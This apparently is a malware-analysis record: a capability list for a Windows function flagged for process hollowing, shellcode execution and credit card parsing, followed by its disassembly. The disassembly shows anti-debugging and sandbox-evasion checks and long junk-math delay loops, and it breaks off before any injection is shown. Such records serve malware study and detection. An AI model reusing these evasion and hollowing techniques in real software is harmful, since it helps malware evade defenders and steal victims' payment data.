Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Parse credit card information
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x1ca8
call fcn.140009240
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x1c10], xmm6
mov dword [rbp + 0x1c50], ecx
mov qword [rbp + 0x1c58], rdx
call dbg.__main
mov ecx, 0x4eb
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4eb
jne 0x1400081be
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x18d8], rax
cmp qword [rbp + 0x18d8], 0
je 0x140001644
mov rax, qword [rbp + 0x18d8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18d0], rax
mov rax, qword [rbp + 0x18d0]
mov ecx, 0
call rax
mov dword [rbp + 0x1c0c], eax
cmp dword [rbp + 0x1c0c], 0xffffffff
je 0x1400081be
mov qword [rbp + 0x1c00], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x18c8], rax
cmp qword [rbp + 0x18c8], 0
je 0x1400016de
mov rax, qword [rbp + 0x18c8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x18c0]
mov r9d, 0x3000
mov r8d, 0x341
mov edx, 0
call rax
mov qword [rbp + 0x1c00], rax
cmp qword [rbp + 0x1c00], 0
je 0x1400081be
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x18b8], rax
cmp qword [rbp + 0x18b8], 0
jne 0x1400081be
mov qword [rbp + 0x1bf8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x18b0], rax
cmp qword [rbp + 0x18b0], 0
je 0x1400017a7
mov rax, qword [rbp + 0x18b0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x18a8]
mov r9d, 0x3000
mov r8d, 0x458
mov edx, 0
call rax
mov qword [rbp + 0x1bf8], rax
cmp qword [rbp + 0x1bf8], 0
je 0x1400081be
mov dword [rbp + 0x138c], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x138c]
mov r8, qword [rbp + 0x18a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x138c]
cmp eax, 1
je 0x1400081be
mov qword [rbp + 0x1bf0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1898], rax
cmp qword [rbp + 0x1898], 0
je 0x1400018ab
mov rax, qword [rbp + 0x1898]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1890], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1890]
mov r9d, 0x3000
mov r8d, 0x392
mov edx, 0
call rax
mov qword [rbp + 0x1bf0], rax
cmp qword [rbp + 0x1bf0], 0
je 0x1400081be
mov qword [rbp + 0x1888], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1880], rax
mov rax, qword [rbp + 0x1880]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x54b2280
mov ecx, 0
call rax
mov qword [rbp + 0x1888], rax
cmp qword [rbp + 0x1888], 0
je 0x1400081be
mov rax, qword [rbp + 0x1888]
mov edx, 0x54b2280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x1888]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x1878], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1870], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1870]
mov r9d, 0x3000
mov r8d, 0x36f
mov edx, 0
call rax
mov qword [rbp + 0x1878], rax
cmp qword [rbp + 0x1878], 0
je 0x1400081be
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x1868], rax
cmp qword [rbp + 0x1868], 0
je 0x1400081be
mov rax, qword [rbp + 0x1868]
mov edx, 0x46f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1864], eax
mov ecx, 0x5d20
call sym.malloc
mov qword [rbp + 0x1858], rax
mov dword [rbp + 0x1bec], 0
jmp 0x140001ad9
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x1bec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1858]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x1bec], 1
cmp dword [rbp + 0x1bec], 0x1747
jle 0x140001a52
mov dword [rbp + 0x1bec], 0
jmp 0x140001ca5
cmp dword [rbp + 0x1bec], 0
je 0x140001b46
mov eax, dword [rbp + 0x1bec]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1858]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x1bec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1858]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140001c16
add dword [rbp + 0x1bec], 1
mov dword [rbp + 0x1be8], 0xffffffff
mov ecx, 0x5b8
call sym.malloc
mov qword [rbp + 0x1390], rax
add dword [rbp + 0x1be8], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140011288]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1be8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1390]
add rax, rdx
movsd xmm1, qword [0x140011290]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1be8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1390]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1be8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1390]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1be8], 0xb5
jle 0x140001b68
jmp 0x140001ca5
mov eax, dword [rbp + 0x1bec]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1858]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x139c], xmm0
mov eax, dword [rbp + 0x1bec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1858]
add rdx, rax
mov eax, dword [rbp + 0x1bec]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x1858]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x1bec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1858]
add rax, rdx
movss xmm0, dword [rbp + 0x139c]
movss dword [rax], xmm0
sub dword [rbp + 0x1bec], 1
cmp dword [rbp + 0x1bec], 0x1747
jle 0x140001af8
mov rax, qword [rbp + 0x1858]
mov rcx, rax
call sym.free
mov dword [rbp + 0x1854], 0
mov ecx, 0x74f90
call sym.malloc
mov qword [rbp + 0x1848], rax
mov ecx, 0x74f90
call sym.malloc
mov qword [rbp + 0x1840], rax
mov ecx, 0x2b0
call sym.malloc
mov qword [rbp + 0x1838], rax
mov ecx, 0x2b0
call sym.malloc
mov qword [rbp + 0x1830], rax
mov dword [rbp + 0x1bd8], 0xab
mov dword [rbp + 0x1bdc], 0
jmp 0x140001d75
call sym.rand
mov edx, dword [rbp + 0x1bdc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1838]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x1bdc], 1
cmp dword [rbp + 0x1bdc], 0xab
jle 0x140001d28
mov dword [rbp + 0x1bdc], 0
jmp 0x140001dd4
mov eax, dword [rbp + 0x1bd8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1838]
add rax, rdx
mov edx, dword [rbp + 0x1bdc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1830]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x1bd8], 1
add dword [rbp + 0x1bdc], 1
cmp dword [rbp + 0x1bdc], 0xab
jle 0x140001d8d
mov rax, qword [rbp + 0x1838]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1830]
mov rcx, rax
call sym.free
mov ecx, 0x74f90
call sym.malloc
mov qword [rbp + 0x1828], rax
mov dword [rbp + 0x1be4], 0
jmp 0x140001ef5
mov dword [rbp + 0x1be0], 0
jmp 0x140001ede
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1be4]
cdqe
imul rcx, rax, 0x424
mov rax, qword [rbp + 0x1848]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1be0]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1be4]
cdqe
imul rcx, rax, 0x424
mov rax, qword [rbp + 0x1840]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1be0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1be0], 1
cmp dword [rbp + 0x1be0], 0x108
jle 0x140001e2d
add dword [rbp + 0x1be4], 1
cmp dword [rbp + 0x1be4], 0x1c3
jle 0x140001e1e
mov dword [rbp + 0x1be4], 0
jmp 0x140001fd2
mov dword [rbp + 0x1be0], 0
jmp 0x140001fbb
mov eax, dword [rbp + 0x1be4]
cdqe
imul rdx, rax, 0x424
mov rax, qword [rbp + 0x1848]
add rdx, rax
mov eax, dword [rbp + 0x1be0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1be4]
cdqe
imul rdx, rax, 0x424
mov rax, qword [rbp + 0x1840]
add rdx, rax
mov eax, dword [rbp + 0x1be0]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x1be4]
cdqe
imul rdx, rax, 0x424
mov rax, qword [rbp + 0x1828]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x1be0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1be0], 1
cmp dword [rbp + 0x1be0], 0x108
jle 0x140001f23
add dword [rbp + 0x1be4], 1
cmp dword [rbp + 0x1be4], 0x1c3
jle 0x140001f14
mov rax, qword [rbp + 0x1848]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1840]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1828]
mov rcx, rax
call sym.free
lea rax, [rbp + 0x160]
lea rdx, [0x140011088]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0xf600
call sym.malloc
mov qword [rbp + 0x1820], rax
mov dword [rbp + 0x1bd4], 0
jmp 0x1400020ab
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x1bd4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1820]
add rax, rdx
movsd xmm1, qword [0x140011288]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x1bd4], 1
cmp dword [rbp + 0x1bd4], 0x1ebf
jle 0x14000206d
mov dword [rbp + 0x1bd4], 0
jmp 0x140002115
mov eax, dword [rbp + 0x1bd4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1820]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1bd4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1820]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1bd4], 1
cmp dword [rbp + 0x1bd4], 0x1ebf
jle 0x1400020c3
mov dword [rbp + 0x1bd0], 0xffffffff
mov ecx, 0xc7c0
call sym.malloc
mov qword [rbp + 0x1818], rax
add dword [rbp + 0x1bd0], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x1bd0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1818]
add rax, rdx
movsd xmm1, qword [0x140011288]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov dword [rbp + 0x1bcc], 0xffffffff
mov ecx, 0x168
call sym.malloc
mov qword [rbp + 0x1810], rax
add dword [rbp + 0x1bcc], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140011288]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1bcc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1810]
add rax, rdx
movsd xmm1, qword [0x140011290]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1bcc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1810]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x1bcc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1810]
add rax, rdx
movq xmm1, qword [0x1400112a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x1bcc], 0x2b
jle 0x140002195
mov eax, dword [rbp + 0x1bd0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1bd0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1818]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1bd0], 0x18f6
jle 0x14000213c
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x1808], rax
mov dword [rbp + 0x1804], 0
mov ecx, 0x147890
call sym.malloc
mov qword [rbp + 0x17f8], rax
mov ecx, 0x147890
call sym.malloc
mov qword [rbp + 0x17f0], rax
mov ecx, 0x147890
call sym.malloc
mov qword [rbp + 0x17e8], rax
mov dword [rbp + 0x1bc8], 0
jmp 0x140002420
mov dword [rbp + 0x1bc4], 0
jmp 0x140002409
mov dword [rbp + 0x1bc0], 0
jmp 0x140002355
call sym.rand
imul eax, eax, 0x23b
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140011288]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x13a0], rax
add dword [rbp + 0x1bc0], 1
cmp dword [rbp + 0x1bc0], 0x3b
jle 0x140002314
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1bc8]
cdqe
imul rcx, rax, 0x6dc
mov rax, qword [rbp + 0x17f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1bc4]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1bc8]
cdqe
imul rcx, rax, 0x6dc
mov rax, qword [rbp + 0x17f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1bc4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1bc4], 1
cmp dword [rbp + 0x1bc4], 0x1b6
jle 0x140002308
add dword [rbp + 0x1bc8], 1
cmp dword [rbp + 0x1bc8], 0x2fb
jle 0x1400022f9
mov dword [rbp + 0x1bc8], 0
jmp 0x1400024df
mov dword [rbp + 0x1bc4], 0
jmp 0x1400024c8
mov eax, dword [rbp + 0x1bc8]
cdqe
imul rdx, rax, 0x6dc
mov rax, qword [rbp + 0x17f8]
add rdx, rax
mov eax, dword [rbp + 0x1bc4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1bc8]
cdqe
imul rdx, rax, 0x6dc
mov rax, qword [rbp + 0x17f0]
add rdx, rax
mov eax, dword [rbp + 0x1bc4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1bc8]
cdqe
imul rdx, rax, 0x6dc
mov rax, qword [rbp + 0x17e8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x1bc4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1bc4], 1
cmp dword [rbp + 0x1bc4], 0x1b6
jle 0x14000244b
add dword [rbp + 0x1bc8], 1
cmp dword [rbp + 0x1bc8], 0x2fb
jle 0x14000243f
mov rax, qword [rbp + 0x17f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17e8]
mov rcx, rax
call sym.free
mov qword [rbp + 0x1bb0], 0
mov dword [rbp + 0x1bbc], 0x144f
jmp 0x140002549
mov eax, dword [rbp + 0x1bbc]
cdqe
add qword [rbp + 0x1bb0], rax
sub dword [rbp + 0x1bbc], 1
cmp dword [rbp + 0x1bbc], 0
jg 0x140002533
mov dword [rbp + 0x1bac], 0xffffffff
mov ecx, 0xa780
call sym.malloc
mov qword [rbp + 0x17e0], rax
mov ecx, 0xa780
call sym.malloc
mov qword [rbp + 0x17d8], rax
add dword [rbp + 0x1bac], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x1bac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x17e0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1bac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x17e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1bac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x17d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1bac], 0x14ee
jle 0x14000257e
mov dword [rbp + 0x1ba4], 0x794
mov dword [rbp + 0x1ba8], 0x794
jmp 0x140002687
sub dword [rbp + 0x1ba4], 1
sub dword [rbp + 0x1ba8], 1
cmp dword [rbp + 0x1ba8], 0x26
jg 0x140002679
mov dword [rbp + 0x1ba0], 0
jmp 0x1400026dd
call sym.rand
imul eax, eax, 0x12a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140011288]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x13a8], rax
add dword [rbp + 0x1ba0], 1
cmp dword [rbp + 0x1ba0], 0x678
jle 0x14000269c
mov ecx, 0x2910
call sym.malloc
mov qword [rbp + 0x17d0], rax
mov ecx, 0x2910
call sym.malloc
mov qword [rbp + 0x17c8], rax
mov dword [rbp + 0x1b9c], 0
jmp 0x1400027a4
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x1b9c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x17d0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x1b9c], 1
cmp dword [rbp + 0x1b9c], 0x521
jle 0x14000271a
mov dword [rbp + 0x1b9c], 0
jmp 0x140002812
mov eax, dword [rbp + 0x1b9c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x17d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1b9c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x17c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1b9c], 1
cmp dword [rbp + 0x1b9c], 0x521
jle 0x1400027c0
mov dword [rbp + 0x136c], 0
lea rax, [rbp + 0xf0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1b98], 0xffffffff
mov ecx, 0x258
call sym.malloc
mov qword [rbp + 0x17c0], rax
mov ecx, 0x258
call sym.malloc
mov qword [rbp + 0x17b8], rax
mov ecx, 0x258
call sym.malloc
mov qword [rbp + 0x17b0], rax
mov dword [rbp + 0x1b94], 0
jmp 0x140002972
mov dword [rbp + 0x1b90], 0
jmp 0x14000295e
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1b94]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x17c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1b90]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1b94]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x17b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1b90]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1b90], 1
cmp dword [rbp + 0x1b90], 9
jle 0x14000289d
add dword [rbp + 0x1b94], 1
cmp dword [rbp + 0x1b94], 0xe
jle 0x14000288e
mov dword [rbp + 0x1b94], 0
jmp 0x140002a4f
mov dword [rbp + 0x1b90], 0
jmp 0x140002a3b
mov eax, dword [rbp + 0x1b94]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x17c0]
add rdx, rax
mov eax, dword [rbp + 0x1b90]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1b94]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x17b8]
add rdx, rax
mov eax, dword [rbp + 0x1b90]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1b94]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x17b0]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x1b90]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1b90], 1
cmp dword [rbp + 0x1b90], 9
jle 0x14000299d
add dword [rbp + 0x1b94], 1
cmp dword [rbp + 0x1b94], 0xe
jle 0x14000298e
mov rax, qword [rbp + 0x17c0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17b8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17b0]
mov rcx, rax
call sym.free
pxor xmm0, xmm0
movsd qword [rbp + 0x1b88], xmm0
add dword [rbp + 0x1b98], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x1b98]
movsd xmm0, qword [0x140011290]
addsd xmm0, xmm1
mov rax, qword [0x1400112b0]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x1b98]
addsd xmm0, xmm0
movsd xmm2, qword [0x140011290]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
